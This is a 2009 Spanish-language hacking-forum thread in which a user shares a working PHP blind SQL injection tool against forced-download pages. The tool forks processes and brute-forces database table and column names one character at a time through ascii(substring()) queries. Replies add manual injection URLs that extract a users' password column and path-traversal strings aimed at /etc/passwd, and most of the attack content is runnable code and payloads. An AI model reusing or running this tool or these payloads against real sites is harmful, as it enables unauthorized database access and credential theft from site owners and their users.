Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: OzX en 6 Febrero 2009, 19:21 pm



Título: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: OzX en 6 Febrero 2009, 19:21 pm



Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.

Web:
Código:
http://www.site.com/download.php?id=2

Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.



Citar
http://www.site.com/download.php?id=2+and+1=0 ERROR [No Descarga]
http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga]



Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.

Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.

Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.

Citar
<?
   $x=97;
       $substring = 0;
   $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
   $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
   if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }
?>

La parte en Rojo muestra cantidad maxima que recibira.
Leemos con strlen el largo del string, si recibimos auque sea 1 caracter significa que es verdadero.
Ya tenemos Nuestro Motor Casi Listo.


Script Finalizado :
Código:
<?php
/*
Coded by OzX[NuKE/US]
http://foro.undersecurity.net

*/
set_time_limit (0);
error_reporting(0);

function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}

function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);

for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; //Mostrar las Tablas de la db
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); //Obtenemos el Valor y lo Guardamos
echo "[".$substring."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>



Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.

Código:
$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0


Saludos ˇ
OzXˇ

Fuente : http://foro.undersecurity.net/read.php?5,775,776 (http://foro.undersecurity.net/read.php?5,775,776)


Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: Azielito en 6 Febrero 2009, 19:38 pm
wow '_'

No se me habia ocurrido ese escenario para blind SQL injection

ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD




Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"

bueno, al parecer pense casi en todo :¬¬


Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: Darioxhcx en 7 Febrero 2009, 20:53 pm
en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd

interesante post OzX
saludos


Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: EvilGoblin en 7 Febrero 2009, 20:58 pm
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^



Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: OzX en 7 Febrero 2009, 23:24 pm
wow '_'

No se me habia ocurrido ese escenario para blind SQL injection

ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD




Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"

bueno, al parecer pense casi en todo :¬¬

jejej coool.

en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd

interesante post OzX
saludos

Hi brota, eso es LFI, brute Force. esto es Blind SQl algo bastante distinto.
Saludosˇ
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^


jejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o  la nueva tecnica de obtenercion de informacion como load_file, pero con blind.

Saludosˇ


Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: berz3k en 10 Febrero 2009, 20:12 pm
@OzX

Probando el script que haz enviado no me va, mi string manual es este:

Código:
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=50
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=51
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=52
[/snip...]


Var dentro del code quedo así (algo falta):

Código:
$url="http://1.1.1.1/blind.php?id=1+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

Ejecucion:

Código:
C:\>php -f blind-forzado.php

-berz3k.



Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: OzX en 10 Febrero 2009, 22:48 pm
hi brota.

a diferencia de los otros, este esta enfocado a las webs que tienen descargar forzadas.

Código:
header( 'Content-Disposition: attachment; filename="' . $name . '"');  

donde $name es la consulta previ para obtener el archivo desde la base de datos o del mismo servidor.

el sistema que tiene para diferencir , si un valor es verdadero o falso, es.

Código:
   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
en donde si descarge lo minimo y esto lo leo como texto (obtendre codigo ilegible ), pero se que descargo algo, hay sabre que es un valor verdadero, en cambio si es falso, este no descargara nada de nada.

Código:
if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }

nose en k tipo de vulnerabilidad blind la provaste, pero si no es de descargas forzadas, no va a funcionar.


Saludos brotaˇ :D ˇ


Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: berz3k en 13 Febrero 2009, 19:40 pm
Es verdad mi QUERY es un blind normal via GET + ASCII etc, mas no estoy utlizando la injection via "Content-Disposition:"

Código:
HTTP/1.1 200 OK
Server: test
content-disposition: attachment; filename=test.html <- AQUI INJECTION
Content-length: 16
Content-Type: application/octet-strea

configurare algun ejemplo de descarga forzada en mi LAB, mmm pero para ello necesito un ejemplo real y así observare mejor los detalles OzX

a) Estoy funcionara tanto para win32 como Linux? si no es así, sigamos con el HILO y posteando mas pruebas.
b) Estoy mirando los archivos configs para Linux  y win32 para crear un HEADER que force el CONTENT-DISPOSITION, OzX o si lo tenes ya ahorrarme el trabajo XD

mandame un msg private please!


-berz3k.



Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
Publicado por: OzX en 13 Febrero 2009, 20:20 pm
Esta enfocado para linux , el server donde estaba mirando es linux.  :rolleyes:
Nose si te refieres a esto

Código:
<?
     header ("Content-Disposition: attachment; filename=".$file.";" );
     header ("Content-Type: application/force-download"); */

?>


Te envie un Priv ˇ

Saludosˇ Brotaˇ

pd:nose si te llego el prvi me avisas